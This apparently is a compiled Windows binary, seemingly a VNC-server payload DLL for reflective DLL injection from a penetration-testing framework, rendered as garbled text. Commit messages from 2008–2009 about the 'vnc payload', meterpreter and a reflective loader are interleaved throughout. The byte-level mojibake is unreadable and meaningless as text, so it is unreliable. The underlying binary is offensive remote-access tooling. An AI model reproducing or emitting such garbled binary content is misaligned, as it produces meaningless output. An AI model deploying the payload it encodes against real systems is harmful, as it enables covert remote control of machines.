f;P}9f‹Qf;P~/f‹Qf;P}%‹t$jjh�QVèŸôÿÿƒÄ‹Æèñÿÿ¸^Ët$‹ÆÇFèüðÿÿ¸^ÃÌÌÌÌÌ‹D$SVW‹ùhÿ�wPVÇp^ÆèB‹\$ƒÄ …ÛtD‹Æ�PŠ@„Éuù+¹ÿ+ÈQhh^VèãA‹ÆƒÄ �PŠ@„Éuù+ºÿ+ÐRSVèÃAƒÄ ‹Ç_^[ÂÌÌÌÌÌÌÌÌ�AÃÌÌÌÌÌÌÌÌÌÌÌÌjÿhKId¡P�ìVW¡Dá3ÄP�„$d£‹ñ‰t$ ‹„$$3ÿ‰F ‹„$(‰¼$Ç´^;Çu¸@j8‰F‰~è£ ‰F‰x ‹N‰y$‹Vj8h¨^‰z(‹FjÿPèeõƒÄ…Àt.‹NQè׃Äh˜^ht^�L$è¿þÿÿh¢�T$Rè^‹FPèA ‹NƒÄȉF‰F‰N‹Æ‹Œ$d‰
Y_^�ÄÂÌÌÌÌÌÌÌÌÌÌV‹t$‹ÁWƒÆ�x¹@Çp^ó¥_^‹D$‰A ÂÌÌÌÌÌÌ‹A+AAÃÌÌÌÌÌÌ�ìV‹ñ‹F‹N‰‹V+V‹F‰P‹Nƒyta‹N ‹QB;Qv ‹‹PjjÿÒ‹F ‹P‹N‰Q ‹F ‹H+H‹V‰J‹FjPè­ãƒÄ…Àu3‹N‹A ‹V ‰B‹Nƒyt§‹ÑƒzuŸ‹F‹N+ÈN‰F^�ÄÃh˜^hÈ^�L$ è€ýÿÿh¢�D$PèÌ�ìVW‹¼$‹ñ;~~"h˜^h_�L$èGýÿÿh¢�D$ Pèæ‹N+N;Ï�Ú‹V‹F‰‹N+N‹V‰J�›‹N ‹A@;Av ‹‹BjjÿЋN ‹A‹V‰B ‹F ‹H+H‹V‰J‹FjPè³âƒÄ…À…ž‹N‹A ‹V ‰B‹Nƒyt£‹Ñƒzu‹F‹N+ÈN‰Fë=hè^èn8ƒÀ@PèI7‹F‹V+‹‹NRPQè“‹N‹‹F+ÐV+ƒÄF‹F+F;ÇŒ&ÿÿÿ‹„$‹N+N‹×¯Ð;Ñ~‹Á™÷ÿ_^�ÄÂh˜^hÈ^�L$èüÿÿh¢�L$ Qè¶ÌÌÌÌÌÌÌÌU‹ìjÿhxId¡PƒìSVW¡Dá3ÅP�Eôd£‰eð‹ñ‰uìÇ´^3ÿ‰}üÆEüèŒýÿÿ‰}üëÇEü¸-Ëuì‹FPè ‹NQèåã‹VRèŽƒÄ ÇTW‹Môd‰
Y_^[‹å]ÃÌV‹ñèhÿÿÿöD$t Vè]ƒÄ‹Æ^‹ÿU‹ìƒì ‹EVWjY¾H_�}àó¥‰Eø‹E _‰Eü^…Àt ötÇEô@™�EôPÿuðÿuäÿuàÿDQÉ‹ÿQÇl_èÓDYËÿU‹ìV‹ñèãÿÿÿöEtVèßY‹Æ^]‹ÿU‹ì‹EƒÁ QƒÀ Pè/÷ØYÀY@]‹ÿU‹ìQS‹E ƒÀ ‰Eüd‹‹d£‹E‹] ‹mü‹cüÿà[ÉÂXY‡$ÿà‹ÿU‹ìQQSVWd‹5‰uüÇEøo.jÿu ÿuøÿuèŸß‹E ‹@ƒàý‹M ‰Ad‹=‹]ü‰;d‰_^[ÉÂU‹ìƒìSVWü‰Eü3ÀPPPÿuüÿuÿuÿu ÿuè PƒÄ ‰Eø_^[‹Eø‹å]ËÿU‹ìVü‹u ‹N3ÎèjVÿvÿv jÿuÿvÿuèãOƒÄ ^]ËÿU‹ìƒì8S�}#u¸¬/‹M ‰3À@é°ƒeØÇEÜØ/¡Dá�MØ3Á‰Eà‹E‰Eä‹E ‰Eè‹E‰Eì‹E ‰Eðƒeôƒeøƒeü‰eô‰mød¡‰EØ�EØd£ÇEÈ‹E‰EÌ‹E‰EÐè7S‹€€‰EÔ�EÌP‹Eÿ0ÿUÔYYƒeȃ}ütd‹‹‹]؉d‰ë ‹EØd£‹EÈ[ÉËÿU‹ìQSü‹E ‹H3M è‹E‹@ƒàft‹E Ç@$3À@ëlëjj‹E ÿp‹E ÿp‹E ÿp jÿu‹E ÿpÿuè­NƒÄ ‹E ƒx$u ÿuÿu èüýÿÿjjjjj�EüPh#è¡þÿÿƒÄ‹Eü‹] ‹c‹k ÿà3À@[ÉËÿU‹ìQSVW‹}‹G‹w ‰Eü‹Þë-ƒþÿuè¾U‹MüN‹ÆkÀÁ‹M9H};H~ƒþÿu ÿM ‹]‰uƒ} }Ê‹EF‰0‹E‰;_ w;óvèyU‹ÆkÀEü_^[ÉËÿU‹ì‹E V‹u‰èÉQ‹€˜‰Fè»Q‰°˜‹Æ^]ËÿU‹ìè¦Q‹€˜ë
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
‹;Mt
‹@…Àuò@]Ã3À]ËÿU‹ìVè~Q‹u;°˜uènQ‹N‰ˆ˜^]Ãè]Q‹€˜ë ‹H;ñt‹Áƒxuñ^]éÏT‹N‰HëÒ‹ÿU‹ìƒì¡Dáƒeè�Mè3Á‹M‰Eð‹E ‰Eô‹E@ÇEìÎ.‰Mø‰Eüd¡‰Eè�Eèd£ÿuQÿuèÎT‹È‹Eèd£‹ÁÉÃ;
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
DáuóÃéüTPdÿ5�D$ +d$ SVW‰(‹è¡Dá3ÅPÿuüÇEüÿÿÿÿ�Eôd£ÃPdÿ5�D$ +d$ SVW‰(‹è¡Dá3ÅP‰eðÿuüÇEüÿÿÿÿ�Eôd£ÃPdÿ5�D$ +d$ SVW‰(‹è¡Dá3ÅP‰EðÿuüÇEüÿÿÿÿ�Eôd£Ã‹Môd‰
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
Y__^[‹å]QËMð3Íè4ÿÿÿéÝÿÿÿ‹ÿU‹ì]éj jhØ¢è+UƒeüÿMx:‹M+M ‰MÿUëí‹Eì‰Eä‹E䋉Eà‹Eà�8csmàt ÇEÜ‹EÜÃèóR‹eèÇEüþÿÿÿè!UÂj hø¢èÍTƒeä‹u ‹Æ¯EEƒeüÿMx )u‹MÿUëðÇEäÇEüþÿÿÿèèÖTƒ}äuÿuÿuÿu ÿuè@ÿÿÿËÿU‹ìƒ=ÜthÜèÚVY…ÀtÿÜè™N…ÀtPèQPYÿuÿ°PÌj h£è-TèìNƒeüÿpXÿPTPè¢ÿÿÿ‹Eì‹‹ ‰MäPQèAWYYËeèÿuäè/Ì‹ÿU‹ìVèÃLè¸LPè˜L…Àu*‹uVè¥LPèÙL…Àu
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
ÿŒQPÿ°Pÿ`Q‰ë‹M‹QT‰PT‹QX‰PX‹QQ‰PèwNƒ=àthàèVY…Àtÿàè=ÿÿÿÌ‹ÿU‹ìQSW‹}3Û‰]ü;ûuèXXSSSSSÇèƒÄ3Àë|VèLhjè½X‹ðYY;ótJèêMÿplVè�L‹EƒNÿ‰FX‹EYY‰~T;Ãu�EPÿuVh 4ÿu ÿuÿ<Q;Ãu ÿŒQ‰EüVèY9]üt ÿuüèïWY3À^_[ÉËÿVjh@á‹ñèyÇÜS‹Æ^ËÿU‹ìƒì ë
ÿuèYY…ÀtÿuèôY…ÀtæÉÃö”¾ˆuƒ
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
”‹Îè£ÿÿÿh)Kè@YV�Môèiõþÿh¨‘�EôPè°÷ÿÿÌ‹ÿU‹ìQSVWÿ5ÌèlJÿ5È‹ø‰}üè\J‹ðYY;÷‚ƒ‹Þ+ß�CƒørwWè°X‹ø�CY;øsH¸;øs‹ÇÇ;ÇrPÿuüèµWYY…Àu�G;Çr@PÿuüèŸWYY…Àt1ÁûP�4˜èwIY£ÌÿuèiI‰ƒÆVè^IY£È‹EYë3À_^[ÉËÿVjj è W‹ðVè7IƒÄ £Ì£È…öujX^Ã&3À^Ãj h8£èNQè9*ƒeüÿuèøþÿÿY‰EäÇEüþÿÿÿè ‹EäèjQÃè*ËÿU‹ìÿuè·ÿÿÿ÷ØÀ÷ØYH]ÃÌÌÌ‹L$÷Át$ŠƒÁ„ÀtN÷Áuï�¤$�¤$‹ºÿþþ~Ѓðÿ3ƒÁ©�tè‹Aü„Àt2„ät$©ÿt©ÿtëÍ�Aÿ‹L$+ÁÃ�Aþ‹L$+ÁÃ�Aý‹L$+ÁÃ�Aü‹L$+ÁËÿU‹ìV‹uW3ÿ;÷u3Àëe9}uèWUj^‰0WWWWWèƒÄ‹ÆëE9}t9u rVÿuÿuèûƒÄ ëÁÿu Wÿuèj ƒÄ 9}t¶9u sèUj"Y‰‹ñë­jX_^]ËÿU‹ì‹EVW3ÿ;ÇtG9}uèÞTj^‰0WWWWWè�ƒÄ‹Æë)9}tà9E sè¹Tj"Y‰‹ñë×Pÿuÿuè„ ƒÄ 3À_^]ËÁƒ`ƒ`Çt_ËÿU‹ìS‹]VW‹ùÇt_‹…Àt&Pèkþÿÿ‹ðFVèÏYY‰G…Àtÿ3VPè¤VƒÄ ëƒgÇG‹Ç_^[]‹ÿU‹ì‹Á‹MÇt_‹ ƒ`‰H]‹ÿU‹ìS‹]V‹ñÇt_‹C‰F…À‹CWt1…Àt'Pèðýÿÿ‹øGWèTYY‰F…ÀtÿsWPè(VƒÄ ë ƒfë‰F_‹Æ^[]ƒyÇt_t ÿqèàYËA…Àu¸|_ËÿU‹ìV‹ñèÐÿÿÿöEtVèCùÿÿY‹Æ^]‹ÿU‹ì‹E£˜]ËÿU‹ì�ì(¡Dá3ʼnEüƒ¥ØüÿÿSjL�…ÜüÿÿjPè��…Øüÿÿ‰…(ýÿÿ�…0ýÿÿƒÄ ‰…,ýÿÿ‰…àýÿÿ‰�Üýÿÿ‰•Øýÿÿ‰�Ôýÿÿ‰µÐýÿÿ‰½ÌýÿÿfŒ•øýÿÿfŒ�ìýÿÿfŒ�ÈýÿÿfŒ…ÄýÿÿfŒ¥ÀýÿÿfŒ­¼ýÿÿœ�…ðýÿÿ‹E�MÇ…0ýÿÿ‰…èýÿÿ‰�ôýÿÿ‹Iü‰�äýÿÿÇ…ØüÿÿÀÇ…Üüÿÿ‰…äüÿÿÿ0Qj‹Øÿ¸P�…(ýÿÿPÿ4Q…Àu …ÛujèUYhÀÿTQPÿ8Q‹Mü3Í[è5÷ÿÿÉËÿU‹ìÿ5˜èqEY…Àt]ÿàjèßTY]é²þÿÿ3ÀPPPPPèÎÿÿÿƒÄÃÿ5Tè@EY…ÀtÿÐjèïUjjèÅUƒÄ é¦Tj hX£èÚLƒeä‹u;5� w"jè+YYƒeüVè2aY‰EäÇEüþÿÿÿè ‹EäèæLÃjè&XYËÿU‹ìV‹uƒþà‡¡SW‹=,Qƒ=¬uèWjè`Uhÿè6%YY¡„ ƒøu…öt‹Æë3À@Pëƒøu VèSÿÿÿY…Àu…öuFƒÆƒæðVjÿ5¬ÿ׋؅Ûu.j ^9°tÿuèŠRY…Àt‹ué{ÿÿÿèïP‰0èèP‰0_‹Ã[ëVècRYèÔPÇ 3À^]Ãj hx£èÁK‹u…ötuƒ=„ uCjèXYƒeüVè9XY‰Eä…Àt VPèZXYYÇEüþÿÿÿè ƒ}äu7ÿuë
jèýVYÃVjÿ5¬ÿ(Q…ÀuèRP‹ðÿŒQPèP‰Yè…KÃÌÌÌÌÌÌÌÌÌÌÌU‹ìWV‹u ‹M‹}‹Á‹ÑÆ;þv;ø‚¤�ùrƒ=€ tWVƒçƒæ;þ^_u^_]évc÷ÇuÁéƒâƒùr*ó¥ÿ$•D>�‹Çºƒér ƒàÈÿ$…X=ÿ$�T>�ÿ$�Ø=�h=”=¸=#ÑŠˆŠFˆGŠFÁéˆGƒÆƒÇƒùrÌó¥ÿ$•D>�I#ÑŠˆŠFÁéˆGƒÆƒÇƒùr¦ó¥ÿ$•D>�#ÑŠˆƒÆÁéƒÇƒùrˆó¥ÿ$•D>�I;>(> >>>>>ø=‹DŽä‰D�ä‹DŽè‰D�è‹DŽì‰D�ì‹DŽð‰D�ð‹DŽô‰D�ô‹DŽø‰D�ø‹DŽü‰D�ü��ðøÿ$•D>‹ÿT>\>h>|>‹E^_ÉÃ�Šˆ‹E^_ÉÃ�ŠˆŠFˆG‹E^_ÉÃ�IŠˆŠFˆGŠFˆG‹E^_ÉÃ��t1ü�|9ü÷Çu$Áéƒâƒùr
ýó¥üÿ$•à?‹ÿ÷Ùÿ$��?�I‹Çºƒùr ƒà+Èÿ$…ä>ÿ$�à?�ô>?@?ŠF#шGƒîÁéƒïƒùr²ýó¥üÿ$•à?�IŠF#шGŠFÁéˆGƒîƒïƒùrˆýó¥üÿ$•à?�ŠF#шGŠFˆGŠFÁéˆGƒîƒïƒù‚Vÿÿÿýó¥üÿ$•à?�I”?œ?¤?¬?´?¼?Ä?×?‹DŽ‰D�‹DŽ‰D�‹DŽ‰D�‹DŽ‰D�‹DŽ ‰D� ‹DŽ‰D�‹DŽ‰D���ðøÿ$•à?‹ÿð?ø?@@‹E^_ÉÃ�ŠFˆG‹E^_ÉÃ�IŠFˆGŠFˆG‹E^_ÉÃ�ŠFˆGŠFˆGŠFˆG‹E^_ÉËÿU‹ìƒì S3Û9] uè¶LSSSSSÇèdúÿÿƒÄƒÈÿëM‹E;ÃtÜV‰Eè‰Eà�EPSÿu �EàPÇEäÿÿÿÇEìBèªcƒÄÿMä‹ðx‹Eàˆë �EàPSè…aYY‹Æ^[ÉËÿU‹ìQQ�EøPÿ$Q‹Eø‹Müj€Á*h€–˜�Ñ!NbþQPèþnƒú|=ÿo@“vƒÈÿ‹Ð‹M…Ét‰‰QÉËÿU‹ìè»A‹M‰H]Ãè®A‹HiÉýC�ÁÞ&‰H‹ÁÁè%ÿËÿU‹ì]é€ñÿÿÌÌÌÌÌÌÌÌÌÌÌÌÌÌ‹T$ ‹L$…Òti3ÀŠD$„Àu�úrƒ=€ té#oW‹ùƒúr1÷Ùƒát +шƒÇƒéuö‹ÈÁàÁ‹ÈÁàÁ‹ÊƒâÁétó«…Òt
ˆƒÇƒêuö‹D$_ËD$ËÿU‹ì]é…óÿÿÌÌÌÌÌÌÌÌÌÌÌU‹ìWV‹u ‹M‹}‹Á‹ÑÆ;þv;ø‚¤�ùrƒ=€ tWVƒçƒæ;þ^_u^_]éf^÷ÇuÁéƒâƒùr*ó¥ÿ$•TC�‹Çºƒér ƒàÈÿ$…hBÿ$�dC�ÿ$�èB�xB¤BÈB#ÑŠˆŠFˆGŠFÁéˆGƒÆƒÇƒùrÌó¥ÿ$•TC�I#ÑŠˆŠFÁéˆGƒÆƒÇƒùr¦ó¥ÿ$•TC�#ÑŠˆƒÆÁéƒÇƒùrˆó¥ÿ$•TC�IKC8C0C(C CCCC‹DŽä‰D�ä‹DŽè‰D�è‹DŽì‰D�ì‹DŽð‰D�ð‹DŽô‰D�ô‹DŽø‰D�ø‹DŽü‰D�ü��ðøÿ$•TC‹ÿdClCxCŒC‹E^_ÉÃ�Šˆ‹E^_ÉÃ�ŠˆŠFˆG‹E^_ÉÃ�IŠˆŠFˆGŠFˆG‹E^_ÉÃ��t1ü�|9ü÷Çu$Áéƒâƒùr
ýó¥üÿ$•ðD‹ÿ÷Ùÿ$� D�I‹Çºƒùr ƒà+Èÿ$…ôCÿ$�ðD�D(DPDŠF#шGƒîÁéƒïƒùr²ýó¥üÿ$•ðD�IŠF#шGŠFÁéˆGƒîƒïƒùrˆýó¥üÿ$•ðD�ŠF#шGŠFˆGŠFÁéˆGƒîƒïƒù‚Vÿÿÿýó¥üÿ$•ðD�I¤D¬D´D¼DÄDÌDÔDçD‹DŽ‰D�‹DŽ‰D�‹DŽ‰D�‹DŽ‰D�‹DŽ ‰D� ‹DŽ‰D�‹DŽ‰D���ðøÿ$•ðD‹ÿEEE,E‹E^_ÉÃ�ŠFˆG‹E^_ÉÃ�IŠFˆGŠFˆG‹E^_ÉÃ�ŠFˆGŠFˆGŠFˆG‹E^_ÉËÿU‹ìVW‹}‹Çƒè„åH„ÍH„˜H„IH„¹‹M ‹ESj Zér‹0;1t|¶0+ót3Û…öŸÃ�\ÿ‹ó…ö…i¶p¶Y+ót3Û…öŸÃ�\ÿ‹ó…ö…H¶p¶Y+ót3Û…öŸÃ�\ÿ‹ó…ö…'¶p¶Y+ót3Û…öŸÃ�\ÿ‹óë3ö…ö…‹p;qt~¶p¶Y+ót3Û…öŸÃ�\ÿ‹ó…ö…Ù¶p¶Y+ót3Û…öŸÃ�\ÿ‹ó…ö…¸¶p¶Y+ót3Û…öŸÃ�\ÿ‹ó…ö…—¶p¶Y+ót3Û…öŸÃ�\ÿ‹óë3ö…ö…r‹p;qt~¶p¶Y+ót3Û…öŸÃ�\ÿ‹ó…ö…I¶p ¶Y +ót3Û…öŸÃ�\ÿ‹ó…ö…(¶p
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
¶Y
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
+ót3Û…öŸÃ�\ÿ‹ó…ö…¶p ¶Y +ót3Û…öŸÃ�\ÿ‹óë3ö…ö…â‹p ;q t~¶p ¶Y +ót3Û…öŸÃ�\ÿ‹ó…ö…¹¶p
¶Y
+ót3Û…öŸÃ�\ÿ‹ó…ö…˜¶p¶Y+ót3Û…öŸÃ�\ÿ‹ó…ö…w¶p¶Y+ót3Û…öŸÃ�\ÿ‹óë3ö…ö…R‹p;qt~¶Y¶p+ót3Û…öŸÃ�\ÿ‹ó…ö…)¶p¶Y+ót3Û…öŸÃ�\ÿ‹ó…ö…¶p¶Y+ót3Û…öŸÃ�\ÿ‹ó…ö…ç¶p¶Y+ót3Û…öŸÃ�\ÿ‹óë3ö…ö…‹p;qt~¶p¶Y+ót3Û…öŸÃ�\ÿ‹ó…ö…™¶p¶Y+ót3Û…öŸÃ�\ÿ‹ó…ö…x¶p¶Y+ót3Û…öŸÃ�\ÿ‹ó…ö…W¶p¶Y+ót3Û…öŸÃ�\ÿ‹óë3ö…ö…2‹p;qt~¶p¶Y+ót3Û…öŸÃ�\ÿ‹ó…ö… ¶p¶Y+ót3Û…öŸÃ�\ÿ‹ó…ö…è¶p¶Y+ót3Û…öŸÃ�\ÿ‹ó…ö…Ƕp¶Y+ót3Û…öŸÃ�\ÿ‹óë3ö…ö…¢‹p;qtr¶p¶Y+ót3Û…öŸÃ�\ÿ‹ó…öu}¶p¶Y+ót3Û…öŸÃ�\ÿ‹ó…öu`¶p¶Y+ót3Û…öŸÃ�\ÿ‹ó…öuC¶p¶Y+ót3Û…öŸÃ�\ÿ‹óë3ö…öu"ÂÊ+ú;úƒ†ûÿÿÇσÿ‡Úÿ$½E[‹Æé΋Pä;Qätq¶ò¶Qä+òt3Ò…öŸÂ�Tÿ‹ò…öuÕ¶på¶Qå+òt3Ò…öŸÂ�Tÿ‹ò…öu¸¶pæ¶Qæ+òt3Ò…öŸÂ�Tÿ‹ò…öu›¶pç¶Qç+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…vÿÿÿ‹Pè;Qèt}¶ò¶Qè+òt3Ò…öŸÂ�Tÿ‹ò…ö…Nÿÿÿ¶pé¶Qé+òt3Ò…öŸÂ�Tÿ‹ò…ö…-ÿÿÿ¶pê¶Qê+òt3Ò…öŸÂ�Tÿ‹ò…ö… ÿÿÿ¶pë¶Që+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…çþÿÿ‹Pì;Qìt}¶ò¶Qì+òt3Ò…öŸÂ�Tÿ‹ò…ö…¿þÿÿ¶pí¶Qí+òt3Ò…öŸÂ�Tÿ‹ò…ö…žþÿÿ¶pî¶Qî+òt3Ò…öŸÂ�Tÿ‹ò…ö…}þÿÿ¶pï¶Qï+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…Xþÿÿ‹Pð;Qðt}¶ò¶Qð+òt3Ò…öŸÂ�Tÿ‹ò…ö…0þÿÿ¶pñ¶Qñ+òt3Ò…öŸÂ�Tÿ‹ò…ö…þÿÿ¶pò¶Qò+òt3Ò…öŸÂ�Tÿ‹ò…ö…îýÿÿ¶pó¶Qó+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…Éýÿÿ‹Pô;Qôt~¶Qô¶pô+òt3Ò…öŸÂ�Tÿ‹ò…ö… ýÿÿ¶põ¶Qõ+òt3Ò…öŸÂ�Tÿ‹ò…ö…ýÿÿ¶pö¶Qö+òt3Ò…öŸÂ�Tÿ‹ò…ö…^ýÿÿ¶p÷¶Q÷+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…9ýÿÿ‹Pø;Qøt}¶ò¶Qø+òt3Ò…öŸÂ�Tÿ‹ò…ö…ýÿÿ¶pù¶Qù+òt3Ò…öŸÂ�Tÿ‹ò…ö…ðüÿÿ¶pú¶Qú+òt3Ò…öŸÂ�Tÿ‹ò…ö…Ïüÿÿ¶pû¶Qû+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…ªüÿÿ‹Pü;Qüto¶ò¶Qü+òt3Ò…öŸÂ�Tÿ…Òu6¶pý¶Qý+òt3Ò…öŸÂ�Tÿ…Òu¶pþ¶Qþ+òt3Ò…öŸÂ�Tÿ…Òt‹Âë¶@ÿ¶Iÿ+Át3É…ÀŸÁ�L ÿ‹Áë3À…Àu3À[éS
‹Pã;Qãt}¶ò¶Qã+òt3Ò…öŸÂ�Tÿ‹ò…ö…ýûÿÿ¶pä¶Qä+òt3Ò…öŸÂ�Tÿ‹ò…ö…Üûÿÿ¶på¶Qå+òt3Ò…öŸÂ�Tÿ‹ò…ö…»ûÿÿ¶pæ¶Qæ+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…–ûÿÿ‹Pç;Qçt}¶ò¶Qç+òt3Ò…öŸÂ�Tÿ‹ò…ö…nûÿÿ¶pè¶Qè+òt3Ò…öŸÂ�Tÿ‹ò…ö…Mûÿÿ¶pé¶Qé+òt3Ò…öŸÂ�Tÿ‹ò…ö…,ûÿÿ¶pê¶Qê+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…ûÿÿ‹Pë;Qët}¶ò¶Që+òt3Ò…öŸÂ�Tÿ‹ò…ö…ßúÿÿ¶pì¶Qì+òt3Ò…öŸÂ�Tÿ‹ò…ö…¾úÿÿ¶pí¶Qí+òt3Ò…öŸÂ�Tÿ‹ò…ö…�úÿÿ¶pî¶Qî+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…xúÿÿ‹Pï;Qït}¶ò¶Qï+òt3Ò…öŸÂ�Tÿ‹ò…ö…Púÿÿ¶pð¶Qð+òt3Ò…öŸÂ�Tÿ‹ò…ö…/úÿÿ¶pñ¶Qñ+òt3Ò…öŸÂ�Tÿ‹ò…ö…úÿÿ¶pò¶Qò+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…éùÿÿ‹Pó;Qót}¶ò¶Qó+òt3Ò…öŸÂ�Tÿ‹ò…ö…Áùÿÿ¶pô¶Qô+òt3Ò…öŸÂ�Tÿ‹ò…ö… ùÿÿ¶põ¶Qõ+òt3Ò…öŸÂ�Tÿ‹ò…ö…ùÿÿ¶pö¶Qö+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…Zùÿÿ‹P÷;Q÷t~¶Q÷¶p÷+òt3Ò…öŸÂ�Tÿ‹ò…ö…1ùÿÿ¶pø¶Qø+òt3Ò…öŸÂ�Tÿ‹ò…ö…ùÿÿ¶pù¶Qù+òt3Ò…öŸÂ�Tÿ‹ò…ö…ïøÿÿ¶pú¶Qú+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…Êøÿÿ‹Pû;Qût}¶ò¶Qû+òt3Ò…öŸÂ�Tÿ‹ò…ö…¢øÿÿ¶pü¶Qü+òt3Ò…öŸÂ�Tÿ‹ò…ö…�øÿÿ¶pý¶Qý+òt3Ò…öŸÂ�Tÿ‹ò…ö…`øÿÿ¶pþ¶Qþ+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…;øÿÿ¶Iÿ¶@ÿ+Á„üÿÿ3É…ÀŸÁ�L ÿ‹Áéîûÿÿ‹Pâ;Qât}¶ò¶Qâ+òt3Ò…öŸÂ�Tÿ‹ò…ö…ñ÷ÿÿ¶pã¶Qã+òt3Ò…öŸÂ�Tÿ‹ò…ö…Ð÷ÿÿ¶pä¶Qä+òt3Ò…öŸÂ�Tÿ‹ò…ö…¯÷ÿÿ¶på¶Qå+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…Š÷ÿÿ‹Pæ;Qæt}¶ò¶Qæ+òt3Ò…öŸÂ�Tÿ‹ò…ö…b÷ÿÿ¶pç¶Qç+òt3Ò…öŸÂ�Tÿ‹ò…ö…A÷ÿÿ¶pè¶Qè+òt3Ò…öŸÂ�Tÿ‹ò…ö… ÷ÿÿ¶pé¶Qé+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…ûöÿÿ‹Pê;Qêt}¶ò¶Qê+òt3Ò…öŸÂ�Tÿ‹ò…ö…Óöÿÿ¶pë¶Që+òt3Ò…öŸÂ�Tÿ‹ò…ö…²öÿÿ¶pì¶Qì+òt3Ò…öŸÂ�Tÿ‹ò…ö…‘öÿÿ¶pí¶Qí+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…löÿÿ‹Pî;Qît}¶ò¶Qî+òt3Ò…öŸÂ�Tÿ‹ò…ö…Döÿÿ¶pï¶Qï+òt3Ò…öŸÂ�Tÿ‹ò…ö…#öÿÿ¶pð¶Qð+òt3Ò…öŸÂ�Tÿ‹ò…ö…öÿÿ¶pñ¶Qñ+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…Ýõÿÿ‹Pò;Qòt}¶ò¶Qò+òt3Ò…öŸÂ�Tÿ‹ò…ö…µõÿÿ¶pó¶Qó+òt3Ò…öŸÂ�Tÿ‹ò…ö…”õÿÿ¶pô¶Qô+òt3Ò…öŸÂ�Tÿ‹ò…ö…sõÿÿ¶põ¶Qõ+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…Nõÿÿ‹Pö;Qöt~¶Qö¶pö+òt3Ò…öŸÂ�Tÿ‹ò…ö…%õÿÿ¶Q÷¶p÷+òt3Ò…öŸÂ�Tÿ‹ò…ö…õÿÿ¶Qø¶pø+òt3Ò…öŸÂ�Tÿ‹ò…ö…ãôÿÿ¶Qù¶pù+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…¾ôÿÿ‹Pú;Qút}¶ò¶Qú+òt3Ò…öŸÂ�Tÿ‹ò…ö…–ôÿÿ¶pû¶Qû+òt3Ò…öŸÂ�Tÿ‹ò…ö…uôÿÿ¶pü¶Qü+òt3Ò…öŸÂ�Tÿ‹ò…ö…Tôÿÿ¶pý¶Qý+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…/ôÿÿf‹Pþf;Qþ„ô÷ÿÿ¶Qþ¶pþ+ò„Öûÿÿ3Ò…öŸÂ�Tÿ…Ò…é¾ûÿÿ‹Pá;Qát~¶Qá¶pá+òt3Ò…öŸÂ�Tÿ‹ò…ö…Ðóÿÿ¶pâ¶Qâ+òt3Ò…öŸÂ�Tÿ‹ò…ö…¯óÿÿ¶pã¶Qã+òt3Ò…öŸÂ�Tÿ‹ò…ö…Žóÿÿ¶pä¶Qä+òt3Ò…öŸÂ�Tÿ‹òë3ö…ö…ióÿÿ‹På;Qåt}¶ò¶Qå+òt3Ò…öŸÂ�Tÿ‹ò…ö…Aóÿÿ¶pæ¶Qæ+òt3Ò…öŸÂ�Tÿ‹ò…ö… óÿ
Àt&:au%
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
ätÁè:Au
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
Àt:auƒÁƒÂ
äuÒ‹ÿ3ÀÃ�ÀÑàƒÀÃ÷ÂtŠƒÂ:uçƒÁ
ÀtÜ÷Ât¤f‹ƒÂ:uÎ
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
ÀtÆ:auÅ
ät½ƒÁ눋ÿU‹ì‹EV‹ñÆF …Àucè(%‰F‹Hl‰‹Hh‰N‹;
˜ít‹
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
´ì…Hpuèm‰‹F;¸ët‹F‹
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
´ì…Hpuèóe‰F‹Fö@puƒHpÆF ë
‹‰‹@‰F‹Æ^]‹ÿU‹ìƒìSVÿu �Mèèdÿÿÿ‹]¾;ÞsT‹M胹¬~�EèPjSèÊq‹MèƒÄ ë
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
